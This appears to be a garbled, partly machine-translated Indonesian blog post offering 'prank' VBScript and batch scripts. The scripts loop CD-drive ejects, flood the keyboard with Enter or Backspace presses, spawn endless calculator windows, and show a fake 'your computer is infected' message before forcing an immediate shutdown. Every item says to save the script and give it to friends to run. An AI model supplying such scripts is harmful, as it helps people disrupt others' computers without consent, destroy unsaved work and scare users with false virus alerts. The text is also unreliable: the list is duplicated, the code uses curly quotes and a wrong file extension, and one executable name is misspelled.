Let's use a simple way for our friends own joke.
But do not you try this trick on your computer, try klo means you mengisengin yourself & be able to say you do stupid actions .. Hehe .. Wkwk ..
Lets begin! Make sure you are typing Script Correct Below! Copy Paste Sometimes Unsuccessful Due to the difference in quotation marks ("") In Notepad, To Fix It Can Use TextPad..
1. Mengeject CD-Drive Continuous
Tips : Then save the "example.WBS" and Give to your friends
2. With the Enter key is Continuous
Tips : Then save the "example.WBS" and Give to your friends
3. With Slow Message Notepad "Hello, how are you? I am good thanks! "
Tips : Then save the "example.WBS" and Give to your friends
4. With Backspace
Tips : Then save the "example.WBS" and Give to your friends
5. With Continuous Open Calculator
Tips : Then save the "example.WBS" and Give to your friends
6. With Keyboard
Tips : Then save the "example.WBS" and Give to your friends
7. With Shutdown Computer Continuous
Tips : Then save the "example.WBS" and Give to your friends
But do not you try this trick on your computer, try klo means you mengisengin yourself & be able to say you do stupid actions .. Hehe .. Wkwk ..
Lets begin! Make sure you are typing Script Correct Below! Copy Paste Sometimes Unsuccessful Due to the difference in quotation marks ("") In Notepad, To Fix It Can Use TextPad..
1. Mengeject CD-Drive Continuous
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Tips : Then save the "example.WBS" and Give to your friends
2. With the Enter key is Continuous
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Tips : Then save the "example.WBS" and Give to your friends
3. With Slow Message Notepad "Hello, how are you? I am good thanks! "
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Tips : Then save the "example.WBS" and Give to your friends
4. With Backspace
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Tips : Then save the "example.WBS" and Give to your friends
5. With Continuous Open Calculator
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Tips : Then save the "example.WBS" and Give to your friends
6. With Keyboard
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Tips : Then save the "example.WBS" and Give to your friends
7. With Shutdown Computer Continuous
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Tips : Then save the "example.WBS" and Give to your friends
